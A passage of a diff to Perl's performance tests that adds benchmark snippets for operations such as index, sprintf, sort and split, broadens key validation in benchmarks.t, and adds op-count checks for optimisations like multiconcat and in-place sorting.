+ desc => 'lexical $x = 1 where $x was previously a string',
+ setup => 'my $x = "abc"',
+ code => '$x = 1',
+ },
+ 'expr::sassign::scalar_lex_intstr' => {
+ desc => 'lexical $x = "abc" where $x was previously an int',
+ setup => 'my $x = 1;',
+ code => '$x = "abc"',
+ },
+ 'expr::sassign::lex_rv' => {
+ desc => 'lexical $ref1 = $ref2;',
+ setup => 'my $r1 = []; my $r = $r1;',
+ code => '$r = $r1;',
+ },
+ 'expr::sassign::lex_rv1' => {
+ desc => 'lexical $ref1 = $ref2; where $$ref1 gets freed',
+ setup => 'my $r1 = []; my $r',
+ code => '$r = []; $r = $r1;',
+ },
+
+
+ 'func::grep::bool0' => {
+ desc => 'grep returning 0 items in boolean context',
+ setup => 'my @a;',
+ code => '!grep $_, @a;',
+ },
+ 'func::grep::bool1' => {
+ desc => 'grep returning 1 item in boolean context',
+ setup => 'my @a =(1);',
+ code => '!grep $_, @a;',
+ },
+ 'func::grep::scalar0' => {
+ desc => 'returning 0 items in scalar context',
+ setup => 'my $g; my @a;',
+ code => '$g = grep $_, @a;',
+ },
+ 'func::grep::scalar1' => {
+ desc => 'returning 1 item in scalar context',
+ setup => 'my $g; my @a =(1);',
+ code => '$g = grep $_, @a;',
+ },
+
+ # (index() == -1) and variants optimise away the op_const and op_eq
+ # and any assignment to a lexical var
+ 'func::index::bool' => {
+ desc => '(index() == -1) for match',
+ setup => 'my $x = "aaaab"',
+ code => 'index($x, "b") == -1',
+ },
+ 'func::index::bool_fail' => {
+ desc => '(index() == -1) for no match',
+ setup => 'my $x = "aaaab"',
+ code => 'index($x, "c") == -1',
+ },
+ 'func::index::lex_bool' => {
+ desc => '$lex = (index() == -1) for match',
+ setup => 'my $r; my $x = "aaaab"',
+ code => '$r = index($x, "b") == -1',
+ },
+ 'func::index::lex_bool_fail' => {
+ desc => '$lex = (index() == -1) for no match',
+ setup => 'my $r; my $x = "aaaab"',
+ code => '$r = index($x, "c") == -1',
+ },
+
+ # using a const string as second arg to index triggers using FBM.
+ # the FBM matcher special-cases 1,2-byte strings.
+ #
+ 'func::index::short_const1' => {
+ desc => 'index of a short string against a 1 char const substr',
+ setup => 'my $x = "aaaab"',
+ code => 'index $x, "b"',
+ },
+ 'func::index::long_const1' => {
+ desc => 'index of a long string against a 1 char const substr',
+ setup => 'my $x = "a" x 1000 . "b"',
+ code => 'index $x, "b"',
+ },
+ 'func::index::short_const2aabc_bc' => {
+ desc => 'index of a short string against a 2 char const substr',
+ setup => 'my $x = "aaaabc"',
+ code => 'index $x, "bc"',
+ },
+ 'func::index::long_const2aabc_bc' => {
+ desc => 'index of a long string against a 2 char const substr',
+ setup => 'my $x = "a" x 1000 . "bc"',
+ code => 'index $x, "bc"',
+ },
+ 'func::index::long_const2aa_ab' => {
+ desc => 'index of a long string aaa.. against const substr "ab"',
+ setup => 'my $x = "a" x 1000',
+ code => 'index $x, "ab"',
+ },
+ 'func::index::long_const2bb_ab' => {
+ desc => 'index of a long string bbb.. against const substr "ab"',
+ setup => 'my $x = "b" x 1000',
+ code => 'index $x, "ab"',
+ },
+ 'func::index::long_const2aa_bb' => {
+ desc => 'index of a long string aaa.. against const substr "bb"',
+ setup => 'my $x = "a" x 1000',
+ code => 'index $x, "bb"',
+ },
+ # this one is designed to be pathological
+ 'func::index::long_const2ab_aa' => {
+ desc => 'index of a long string abab.. against const substr "aa"',
+ setup => 'my $x = "ab" x 500',
+ code => 'index $x, "aa"',
+ },
+ # near misses with gaps, 1st letter
+ 'func::index::long_const2aaxx_xy' => {
+ desc => 'index of a long string with "xx"s against const substr "xy"',
+ setup => 'my $x = "aaaaaaaaxx" x 100',
+ code => 'index $x, "xy"',
+ },
+ # near misses with gaps, 2nd letter
+ 'func::index::long_const2aayy_xy' => {
+ desc => 'index of a long string with "yy"s against const substr "xy"',
+ setup => 'my $x = "aaaaaaaayy" x 100',
+ code => 'index $x, "xy"',
+ },
+ # near misses with gaps, duplicate letter
+ 'func::index::long_const2aaxy_xx' => {
+ desc => 'index of a long string with "xy"s against const substr "xx"',
+ setup => 'my $x = "aaaaaaaaxy" x 100',
+ code => 'index $x, "xx"',
+ },
+ # alternating near misses with gaps
+ 'func::index::long_const2aaxxaayy_xy' => {
+ desc => 'index of a long string with "xx/yy"s against const substr "xy"',
+ setup => 'my $x = "aaaaaaaaxxbbbbbbbbyy" x 50',
+ code => 'index $x, "xy"',
+ },
+ 'func::index::short_const3aabcd_bcd' => {
+ desc => 'index of a short string against a 3 char const substr',
+ setup => 'my $x = "aaaabcd"',
+ code => 'index $x, "bcd"',
+ },
+ 'func::index::long_const3aabcd_bcd' => {
+ desc => 'index of a long string against a 3 char const substr',
+ setup => 'my $x = "a" x 1000 . "bcd"',
+ code => 'index $x, "bcd"',
+ },
+ 'func::index::long_const3ab_abc' => {
+ desc => 'index of a long string of "ab"s against a 3 char const substr "abc"',
+ setup => 'my $x = "ab" x 500',
+ code => 'index $x, "abc"',
+ },
+ 'func::index::long_const3bc_abc' => {
+ desc => 'index of a long string of "bc"s against a 3 char const substr "abc"',
+ setup => 'my $x = "bc" x 500',
+ code => 'index $x, "abc"',
+ },
+ 'func::index::utf8_position_1' => {
+ desc => 'index of a utf8 string, matching at position 1',
+ setup => 'my $x = "abc". chr(0x100); chop $x',
+ code => 'index $x, "b"',
+ },
+
+
+ # JOIN
+
+
+ 'func::join::empty_l_ll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex = join "", $lex1, $lex2',
+ },
+
+
+ # KEYS
+
+
+ 'func::keys::lex::void_cxt_empty' => {
+ desc => ' keys() on an empty lexical hash in void context',
+ setup => 'my %h = ()',
+ code => 'keys %h',
+ },
+ 'func::keys::lex::void_cxt' => {
+ desc => ' keys() on a non-empty lexical hash in void context',
+ setup => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => 'keys %h',
+ },
+ 'func::keys::lex::bool_cxt_empty' => {
+ desc => ' keys() on an empty lexical hash in bool context',
+ setup => 'my %h = ()',
+ code => '!keys %h',
+ },
+ 'func::keys::lex::bool_cxt' => {
+ desc => ' keys() on a non-empty lexical hash in bool context',
+ setup => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '!keys %h',
+ },
+ 'func::keys::lex::scalar_cxt_empty' => {
+ desc => ' keys() on an empty lexical hash in scalar context',
+ setup => 'my $k; my %h = ()',
+ code => '$k = keys %h',
+ },
+ 'func::keys::lex::scalar_cxt' => {
+ desc => ' keys() on a non-empty lexical hash in scalar context',
+ setup => 'my $k; my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '$k = keys %h',
+ },
+ 'func::keys::lex::list_cxt_empty' => {
+ desc => ' keys() on an empty lexical hash in list context',
+ setup => 'my %h = ()',
+ code => '() = keys %h',
+ },
+ 'func::keys::lex::list_cxt' => {
+ desc => ' keys() on a non-empty lexical hash in list context',
+ setup => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '() = keys %h',
+ },
+
+ 'func::keys::pkg::void_cxt_empty' => {
+ desc => ' keys() on an empty package hash in void context',
+ setup => 'our %h = ()',
+ code => 'keys %h',
+ },
+ 'func::keys::pkg::void_cxt' => {
+ desc => ' keys() on a non-empty package hash in void context',
+ setup => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => 'keys %h',
+ },
+ 'func::keys::pkg::bool_cxt_empty' => {
+ desc => ' keys() on an empty package hash in bool context',
+ setup => 'our %h = ()',
+ code => '!keys %h',
+ },
+ 'func::keys::pkg::bool_cxt' => {
+ desc => ' keys() on a non-empty package hash in bool context',
+ setup => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '!keys %h',
+ },
+ 'func::keys::pkg::scalar_cxt_empty' => {
+ desc => ' keys() on an empty package hash in scalar context',
+ setup => 'my $k; our %h = ()',
+ code => '$k = keys %h',
+ },
+ 'func::keys::pkg::scalar_cxt' => {
+ desc => ' keys() on a non-empty package hash in scalar context',
+ setup => 'my $k; our %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '$k = keys %h',
+ },
+ 'func::keys::pkg::list_cxt_empty' => {
+ desc => ' keys() on an empty package hash in list context',
+ setup => 'our %h = ()',
+ code => '() = keys %h',
+ },
+ 'func::keys::pkg::list_cxt' => {
+ desc => ' keys() on a non-empty package hash in list context',
+ setup => 'our %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '() = keys %h',
+ },
+
+
+ 'func::length::bool0' => {
+ desc => 'length==0 in boolean context',
+ setup => 'my $s = "";',
+ code => '!length($s);',
+ },
+ 'func::length::bool10' => {
+ desc => 'length==10 in boolean context',
+ setup => 'my $s = "abcdefghijk";',
+ code => '!length($s);',
+ },
+ 'func::length::scalar10' => {
+ desc => 'length==10 in scalar context',
+ setup => 'my $p; my $s = "abcdefghijk";',
+ code => '$p = length($s);',
+ },
+ 'func::length::bool0_utf8' => {
+ desc => 'utf8 string length==0 in boolean context',
+ setup => 'my $s = "\x{100}"; chop $s;',
+ code => '!length($s);',
+ },
+ 'func::length::bool10_utf8' => {
+ desc => 'utf8 string length==10 in boolean context',
+ setup => 'my $s = "abcdefghij\x{100}";',
+ code => '!length($s);',
+ },
+ 'func::length::scalar10_utf8' => {
+ desc => 'utf8 string length==10 in scalar context',
+ setup => 'my $p; my $s = "abcdefghij\x{100}";',
+ code => '$p = length($s);',
+ },
+
+ 'func::pos::bool0' => {
+ desc => 'pos==0 in boolean context',
+ setup => 'my $s = "abc"; pos($s) = 0',
+ code => '!pos($s);',
+ },
+ 'func::pos::bool10' => {
+ desc => 'pos==10 in boolean context',
+ setup => 'my $s = "abcdefghijk"; pos($s) = 10',
+ code => '!pos($s);',
+ },
+ 'func::pos::scalar10' => {
+ desc => 'pos==10 in scalar context',
+ setup => 'my $p; my $s = "abcdefghijk"; pos($s) = 10',
+ code => '$p = pos($s);',
+ },
+
+ 'func::ref::notaref_bool' => {
+ desc => 'ref($notaref) in boolean context',
+ setup => 'my $r = "boo"',
+ code => '!ref $r',
+ },
+ 'func::ref::ref_bool' => {
+ desc => 'ref($ref) in boolean context',
+ setup => 'my $r = []',
+ code => '!ref $r',
+ },
+ 'func::ref::blessedref_bool' => {
+ desc => 'ref($blessed_ref) in boolean context',
+ setup => 'my $r = bless []',
+ code => '!ref $r',
+ },
+
+ 'func::ref::notaref' => {
+ desc => 'ref($notaref) in scalar context',
+ setup => 'my $x; my $r = "boo"',
+ code => '$x = ref $r',
+ },
+ 'func::ref::ref' => {
+ desc => 'ref($ref) in scalar context',
+ setup => 'my $x; my $r = []',
+ code => '$x = ref $r',
+ },
+ 'func::ref::blessedref' => {
+ desc => 'ref($blessed_ref) in scalar context',
+ setup => 'my $x; my $r = bless []',
+ code => '$x = ref $r',
+ },
+
+
+
+ 'func::sort::num' => {
+ desc => 'plain numeric sort',
+ setup => 'my (@a, @b); @a = reverse 1..10;',
+ code => '@b = sort { $a <=> $b } @a',
+ },
+ 'func::sort::num_block' => {
+ desc => 'codeblock numeric sort',
+ setup => 'my (@a, @b); @a = reverse 1..10;',
+ code => '@b = sort { $a + 1 <=> $b + 1 } @a',
+ },
+ 'func::sort::num_fn' => {
+ desc => 'function numeric sort',
+ setup => 'sub f { $a + 1 <=> $b + 1 } my (@a, @b); @a = reverse 1..10;',
+ code => '@b = sort f @a',
+ },
+ 'func::sort::str' => {
+ desc => 'plain string sort',
+ setup => 'my (@a, @b); @a = reverse "a".."j";',
+ code => '@b = sort { $a cmp $b } @a',
+ },
+ 'func::sort::str_block' => {
+ desc => 'codeblock string sort',
+ setup => 'my (@a, @b); @a = reverse "a".."j";',
+ code => '@b = sort { ($a . "") cmp ($b . "") } @a',
+ },
+ 'func::sort::str_fn' => {
+ desc => 'function string sort',
+ setup => 'sub f { ($a . "") cmp ($b . "") } my (@a, @b); @a = reverse "a".."j";',
+ code => '@b = sort f @a',
+ },
+
+ 'func::sort::num_inplace' => {
+ desc => 'plain numeric sort in-place',
+ setup => 'my @a = reverse 1..10;',
+ code => '@a = sort { $a <=> $b } @a',
+ },
+ 'func::sort::num_block_inplace' => {
+ desc => 'codeblock numeric sort in-place',
+ setup => 'my @a = reverse 1..10;',
+ code => '@a = sort { $a + 1 <=> $b + 1 } @a',
+ },
+ 'func::sort::num_fn_inplace' => {
+ desc => 'function numeric sort in-place',
+ setup => 'sub f { $a + 1 <=> $b + 1 } my @a = reverse 1..10;',
+ code => '@a = sort f @a',
+ },
+ 'func::sort::str_inplace' => {
+ desc => 'plain string sort in-place',
+ setup => 'my @a = reverse "a".."j";',
+ code => '@a = sort { $a cmp $b } @a',
+ },
+ 'func::sort::str_block_inplace' => {
+ desc => 'codeblock string sort in-place',
+ setup => 'my @a = reverse "a".."j";',
+ code => '@a = sort { ($a . "") cmp ($b . "") } @a',
+ },
+ 'func::sort::str_fn_inplace' => {
+ desc => 'function string sort in-place',
+ setup => 'sub f { ($a . "") cmp ($b . "") } my @a = reverse "a".."j";',
+ code => '@a = sort f @a',
+ },
+
+
+ 'func::split::vars' => {
+ desc => 'split into two lexical vars',
+ setup => 'my $s = "abc:def";',
+ code => 'my ($x, $y) = split /:/, $s, 2;',
+ },
+
+ 'func::split::array' => {
+ desc => 'split into a lexical array',
+ setup => 'my @a; my $s = "abc:def";',
+ code => '@a = split /:/, $s, 2;',
+ },
+ 'func::split::myarray' => {
+ desc => 'split into a lexical array declared in the assign',
+ setup => 'my $s = "abc:def";',
+ code => 'my @a = split /:/, $s, 2;',
+ },
+ 'func::split::arrayexpr' => {
+ desc => 'split into an @{$expr} ',
+ setup => 'my $s = "abc:def"; my $r = []',
+ code => '@$r = split /:/, $s, 2;',
+ },
+ 'func::split::arraylist' => {
+ desc => 'split into an array with extra arg',
+ setup => 'my @a; my $s = "abc:def";',
+ code => '@a = (split(/:/, $s, 2), 1);',
+ },
+
+ # SPRINTF
+
+
+ 'func::sprintf::d' => {
+ desc => '%d',
+ setup => 'my $s; my $a1 = 1234;',
+ code => '$s = sprintf "%d", $a1',
+ },
+ 'func::sprintf::d8' => {
+ desc => '%8d',
+ setup => 'my $s; my $a1 = 1234;',
+ code => '$s = sprintf "%8d", $a1',
+ },
+ 'func::sprintf::foo_d8' => {
+ desc => 'foo=%8d',
+ setup => 'my $s; my $a1 = 1234;',
+ code => '$s = sprintf "foo=%8d", $a1',
+ },
+
+ 'func::sprintf::f0' => {
+ # "%.0f" is very special-cased
+ desc => 'sprintf "%.0f"',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "%.0f", $a1',
+ },
+ 'func::sprintf::foo_f0' => {
+ # "...%.0f..." is special-cased
+ desc => 'sprintf "foo=%.0f"',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "foo=%.0f\n", $a1',
+ },
+ 'func::sprintf::foo_f93' => {
+ desc => 'foo=%9.3f',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "foo=%9.3f\n", $a1',
+ },
+
+ 'func::sprintf::g9' => {
+ # "...%.NNNg..." is special-cased
+ desc => '%.9g',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "%.9g", $a1',
+ },
+ 'func::sprintf::foo_g9' => {
+ # "...%.NNNg..." is special-cased
+ desc => 'foo=%.9g',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "foo=%.9g\n", $a1',
+ },
+ 'func::sprintf::foo_g93' => {
+ desc => 'foo=%9.3g',
+ setup => 'my $s; my $a1 = 123.456;',
+ code => '$s = sprintf "foo=%9.3g\n", $a1',
+ },
+
+ 'func::sprintf::s' => {
+ desc => '%s',
+ setup => 'my $s; my $a1 = "abcd";',
+ code => '$s = sprintf "%s", $a1',
+ },
+ 'func::sprintf::foo_s' => {
+ desc => 'foo=%s',
+ setup => 'my $s; my $a1 = "abcd";',
+ code => '$s = sprintf "foo=%s", $a1',
+ },
+ 'func::sprintf::mixed_utf8_sss' => {
+ desc => 'foo=%s bar=%s baz=%s',
+ setup => 'my $s;my $a = "ab\x{100}cd"; my $b = "efg"; my $c = "h\x{101}ij"',
+ code => '$s = sprintf "foo=%s bar=%s baz=%s", $a, $b, $c',
+ },
+
+ # sprint that's likely to be optimised to an OP_MULTICONCAT
+
+ 'func::sprintf::l' => {
+ setup => 'my $lex1 = "abcd"',
+ code => 'sprintf "%s", $lex1',
+ },
+ 'func::sprintf::g_l' => {
+ setup => 'our $pkg; my $lex1 = "abcd"',
+ code => '$pkg = sprintf "%s", $lex1',
+ },
+ 'func::sprintf::g_append_l' => {
+ setup => 'our $pkg; my $lex1 = "abcd"',
+ pre => '$pkg = "pqrs"',
+ code => '$pkg .= sprintf "%s", $lex1',
+ },
+ 'func::sprintf::g_ll' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$pkg = sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::g_append_ll' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ pre => '$pkg = "pqrs"',
+ code => '$pkg .= sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::g_cl' => {
+ setup => 'our $pkg; my $lex1 = "abcd"',
+ code => '$pkg = sprintf "foo=%s", $lex1',
+ },
+ 'func::sprintf::g_clclc' => {
+ setup => 'our $pkg; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$pkg = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+ },
+
+ 'func::sprintf::l_l' => {
+ setup => 'my $lex; my $lex1 = "abcd"',
+ code => '$lex = sprintf "%s", $lex1',
+ },
+ 'func::sprintf::l_append_l' => {
+ setup => 'my $lex; my $lex1 = "abcd"',
+ pre => '$lex = "pqrs"',
+ code => '$lex .= sprintf "%s", $lex1',
+ },
+ 'func::sprintf::ll' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => 'sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::l_ll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex = sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::l_append_ll' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ pre => '$lex = "pqrs"',
+ code => '$lex .= sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::l_cl' => {
+ setup => 'my $lex; my $lex1 = "abcd"',
+ code => '$lex = sprintf "foo=%s", $lex1',
+ },
+ 'func::sprintf::l_clclc' => {
+ setup => 'my $lex; my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => '$lex = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+ },
+
+ 'func::sprintf::m_l' => {
+ setup => 'my $lex1 = "abcd"',
+ code => 'my $lex = sprintf "%s", $lex1',
+ },
+ 'func::sprintf::m_ll' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => 'my $lex = sprintf "%s%s", $lex1, $lex2',
+ },
+ 'func::sprintf::m_cl' => {
+ setup => 'my $lex1 = "abcd"',
+ code => 'my $lex = sprintf "foo=%s", $lex1',
+ },
+ 'func::sprintf::m_clclc' => {
+ setup => 'my $lex1 = "abcd"; my $lex2 = "wxyz"',
+ code => 'my $lex = sprintf "foo=%s bar=%s\n", $lex1, $lex2',
+ },
+
+ 'func::sprintf::utf8__l_lll' => {
+ desc => '$s = sprintf("foo=%s bar=%s baz=%s", $a, $b, $c) where $a,$c are utf8',
+ setup => 'my $s; my $a = "ab\x{100}cde"; my $b = "fghij"; my $c = "\x{101}klmn"',
+ code => '$s = sprintf "foo=%s bar=%s baz=%s", $a, $b, $c',
+ },
+
+
+ # S///
+
+ 'func::subst::bool' => {
+ desc => 's/// in boolean context',
+ setup => '',
+ code => '$_ = "aaa"; !s/./x/g;'
+ },
+
+
+ 'func::values::scalar_cxt_empty' => {
+ desc => ' values() on an empty hash in scalar context',
+ setup => 'my $k; my %h = ()',
+ code => '$k = values %h',
+ },
+ 'func::values::scalar_cxt' => {
+ desc => ' values() on a non-empty hash in scalar context',
+ setup => 'my $k; my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '$k = values %h',
+ },
+ 'func::values::list_cxt_empty' => {
+ desc => ' values() on an empty hash in list context',
+ setup => 'my %h = ()',
+ code => '() = values %h',
+ },
+ 'func::values::list_cxt' => {
+ desc => ' values() on a non-empty hash in list context',
+ setup => 'my %h = qw(aardvark 1 banana 2 cucumber 3)',
+ code => '() = values %h',
+ },
+
+
+
'loop::block' => {
desc => 'empty basic loop',
- setup => ';',
+ setup => '',
code => '{1;}',
},
@@ -1071,4 +2151,30 @@
code => 'while (++$i % 4) {}',
},
+
+ 'regex::anyof_plus::anchored' => {
+ setup => '$_ = "a" x 100;',
+ code => '/^[acgt]+/',
+ },
+ 'regex::anyof_plus::floating' => {
+ desc => '/[acgt]+where match starts at position 0 for 100 chars/',
+ setup => '$_ = "a" x 100;',
+ code => '/[acgt]+/',
+ },
+ 'regex::anyof_plus::floating_away' => {
+ desc => '/[acgt]+/ where match starts at position 100 for 100 chars',
+ setup => '$_ = ("0" x 100) . ("a" x 100);',
+ code => '/[acgt]+/',
+ },
+
+ 'regex::whilem::min_captures_fail' => {
+ desc => '/WHILEM with anon-greedy match and captures that fails',
+ setup => '$_ = ("a" x 20)',
+ code => '/^(?:(.)(.))*?[XY]/',
+ },
+ 'regex::whilem::max_captures_fail' => {
+ desc => '/WHILEM with a greedy match and captures that fails',
+ setup => '$_ = ("a" x 20)',
+ code => '/^(?:(.)(.))*[XY]/',
+ },
];
diff --git a/gnu/usr.bin/perl/t/perf/benchmarks.t b/gnu/usr.bin/perl/t/perf/benchmarks.t
index 873f8db0cfc..57dbcf87937 100644
--- a/gnu/usr.bin/perl/t/perf/benchmarks.t
+++ b/gnu/usr.bin/perl/t/perf/benchmarks.t
@@ -31,22 +31,34 @@ while (@$benchmark_array) {
$benchmarks{$key} = $hash;
}
-plan keys(%benchmarks) * 3;
-
+plan keys(%benchmarks) * 4;
# check the hash of hashes is minimally consistent in format
+my %valid_keys = map { $_=> 1 } qw(desc setup code pre post compile);
+my @required_keys = qw(code);
+
for my $token (sort keys %benchmarks) {
- like($token, qr/^[a-zA-Z](\w|::)+$/a, "legal token: $token");
- my $keys = join('-', sort keys %{$benchmarks{$token}});
- is($keys, 'code-desc-setup', "legal keys: $token");
+ like($token, qr/^[a-zA-Z](\w|::)+$/a, "$token: legal token");
+
+ my @keys = sort keys %{$benchmarks{$token}};
+ my @invalid = grep !exists $valid_keys{$_}, @keys;
+ ok(!@invalid, "$token: only valid keys present")
+ or diag("saw these invalid keys: (@invalid)");
+
+ my @missing = grep !exists $benchmarks{$token}{$_}, @required_keys;
+ ok(!@missing, "$token: all required keys present")
+ or diag("these keys are missing: (@missing)");
}
# check that each bit of code compiles and runs
for my $token (sort keys %benchmarks) {
my $b = $benchmarks{$token};
- my $code = "package $token; $b->{setup}; for (1..1) { $b->{code} } 1;";
+ my $setup = $b->{setup} // '';
+ my $pre = $b->{pre} // '';
+ my $post = $b->{post} // '';
+ my $code = "package $token; $setup; for (1..1) { $pre; $b->{code}; $post; } 1;";
no warnings;
no strict;
ok(eval $code, "running $token")
diff --git a/gnu/usr.bin/perl/t/perf/opcount.t b/gnu/usr.bin/perl/t/perf/opcount.t
index f3c0badcb67..2d0ade56b0e 100644
--- a/gnu/usr.bin/perl/t/perf/opcount.t
+++ b/gnu/usr.bin/perl/t/perf/opcount.t
@@ -20,7 +20,7 @@ BEGIN {
use warnings;
use strict;
-plan 2249;
+plan 2582;
use B ();
@@ -260,3 +260,406 @@ test_opcount(0, 'multideref exists',
multideref => 1,
},
);
+
+test_opcount(0, 'barewords can be constant-folded',
+ sub { no strict 'subs'; FOO . BAR },
+ {
+ concat => 0,
+ });
+
+{
+ no warnings 'experimental::signatures';
+ use feature 'signatures';
+
+ my @a;
+ test_opcount(0, 'signature default expressions get optimised',
+ sub ($s = $a[0]) {},
+ {
+ aelem => 0,
+ aelemfast_lex => 1,
+ });
+}
+
+# in-place sorting
+
+{
+ local our @global = (3,2,1);
+ my @lex = qw(a b c);
+
+ test_opcount(0, 'in-place sort of global',
+ sub { @global = sort @global; 1 },
+ {
+ rv2av => 1,
+ aassign => 0,
+ });
+
+ test_opcount(0, 'in-place sort of lexical',
+ sub { @lex = sort @lex; 1 },
+ {
+ padav => 1,
+ aassign => 0,
+ });
+
+ test_opcount(0, 'in-place reversed sort of global',
+ sub { @global = sort { $b <=> $a } @global; 1 },
+ {
+ rv2av => 1,
+ aassign => 0,
+ });
+
+
+ test_opcount(0, 'in-place custom sort of global',
+ sub { @global = sort { $a<$b?1:$a>$b?-1:0 } @global; 1 },
+ {
+ rv2av => 1,
+ aassign => 0,
+ });
+
+ sub mysort { $b cmp $a };
+ test_opcount(0, 'in-place sort with function of lexical',
+ sub { @lex = sort mysort @lex; 1 },
+ {
+ padav => 1,
+ aassign => 0,
+ });
+
+
+}
+
+# in-place assign optimisation for @a = split
+
+{
+ local our @pkg;
+ my @lex;
+
+ for (['@pkg', 0, ],
+ ['local @pkg', 0, ],
+ ['@lex', 0, ],
+ ['my @a', 0, ],
+ ['@{[]}', 1, ],
+ ){
+ # partial implies that the aassign has been optimised away, but
+ # not the rv2av
+ my ($code, $partial) = @$_;
+ test_opcount(0, "in-place assignment for split: $code",
+ eval qq{sub { $code = split }},
+ {
+ padav => 0,
+ rv2av => $partial,
+ aassign => 0,
+ });
+ }
+}
+
+# index(...) == -1 and variants optimise away the EQ/NE/etc and CONST
+# and with $lex = (index(...) == -1), the assignment is optimised away
+# too
+
+{
+ local our @pkg;
+ my @lex;
+
+ my ($x, $y, $z);
+ for my $assign (0, 1) {
+ for my $index ('index($x,$y)', 'rindex($x,$y)') {
+ for my $fmt (
+ "%s <= -1",
+ "%s == -1",
+ "%s != -1",
+ "%s > -1",
+
+ "%s < 0",
+ "%s >= 0",
+
+ "-1 < %s",
+ "-1 == %s",
+ "-1 != %s",
+ "-1 >= %s",
+
+ " 0 <= %s",
+ " 0 > %s",
+
+ ) {
+ my $expr = sprintf $fmt, $index;
+ $expr = "\$z = ($expr)" if $assign;
+
+ test_opcount(0, "optimise away compare,const in $expr",
+ eval qq{sub { $expr }},
+ {
+ lt => 0,
+ le => 0,
+ eq => 0,
+ ne => 0,
+ ge => 0,
+ gt => 0,
+ const => 0,
+ sassign => 0,
+ padsv => 2.
+ });
+ }
+ }
+ }
+}
+
+
+# a sprintf that can't be optimised shouldn't stop the .= concat being
+# optimised
+
+{
+ my ($i,$j,$s);
+ test_opcount(0, "sprintf pessimised",
+ sub { $s .= sprintf "%d%d",$i, $j },
+ {
+ const => 1,
+ sprintf => 1,
+ concat => 0,
+ multiconcat => 1,
+ padsv => 2,
+ });
+}
+
+
+# sprintf with constant args should be constant folded
+
+test_opcount(0, "sprintf constant args",
+ sub { sprintf "%s%s", "abc", "def" },
+ {
+ const => 1,
+ sprintf => 0,
+ multiconcat => 0.
+ });
+
+#
+# concats and assigns that should be optimised into a single multiconcat
+# op
+
+{
+
+ my %seen; # weed out duplicate combinations
+
+ # these are the ones where using multiconcat isn't a gain, so should
+ # be pessimised
+ my %pessimise = map { $_ => 1 }
+ '$a1.$a2',
+ '"$a1$a2"',
+ '$pkg .= $a1',
+ '$pkg .= "$a1"',
+ '$lex = $a1.$a2',
+ '$lex = "$a1$a2"',
+ # these already constant folded
+ 'sprintf("-")',
+ '$pkg = sprintf("-")',
+ '$lex = sprintf("-")',
+ 'my $l = sprintf("-")',
+ ;
+
+ for my $lhs (
+ '',
+ '$pkg = ',
+ '$pkg .= ',
+ '$lex = ',
+ '$lex .= ',
+ 'my $l = ',
+ ) {
+ for my $nargs (0..3) {
+ for my $type (0..2) {
+ # 0: $a . $b
+ # 1: "$a$b"
+ # 2: sprintf("%s%s", $a, $b)
+
+ for my $const (0..4) {
+ # 0: no consts: "$a1$a2"
+ # 1: interior consts: "$a1-$a2"
+ # 2: + LH edge: "-$a1-$a2"
+ # 3: + RH edge: "$a1-$a2-"
+ # 4: + both edge: "-$a1-$a2-"
+
+ my @args;
+ my @sprintf_args;
+ my $c = $type == 0 ? '"-"' : '-';
+ push @args, $c if $const == 2 || $const == 4;
+ for my $n (1..$nargs) {
+ if ($type == 2) {
+ # sprintf
+ push @sprintf_args, "\$a$n";
+ push @args, '%s';
+ }
+ else {
+ push @args, "\$a$n";
+ }
+ push @args, $c if $const;
+ }
+ pop @args if $const == 1 || $const == 2;
+
+ push @args, $c if $nargs == 0 && $const == 1;
+
+
+ if ($type == 2) {
+ # sprintf
+ next unless @args;
+ }
+ else {
+ # To ensure that there's at least once concat
+ # action, if appending, need at least one RHS arg;
+ # else least 2 args:
+ # $x = $a . $b
+ # $x .= $a
+ next unless @args >= ($lhs =~ /\./ ? 1 : 2);
+ }
+
+ my $rhs;
+ if ($type == 0) {
+ $rhs = join('.', @args);
+ }
+ elsif ($type == 1) {
+ $rhs = '"' . join('', @args) . '"'
+ }
+ else {
+ $rhs = 'sprintf("'
+ . join('', @args)
+ . '"'
+ . join('', map ",$_", @sprintf_args)
+ . ')';
+ }
+
+ my $expr = $lhs . $rhs;
+
+ next if exists $seen{$expr};
+ $seen{$expr} = 1;
+
+ my ($a1, $a2, $a3);
+ my $lex;
+ our $pkg;
+ my $sub = eval qq{sub { $expr }};
+ die "eval(sub { $expr }: $@" if $@;
+
+ my $pm = $pessimise{$expr};
+ test_opcount(0, ($pm ? "concat " : "multiconcat")
+ . ": $expr",
+ $sub,
+ $pm
+ ? { multiconcat => 0 }
+ : {
+ multiconcat => 1,
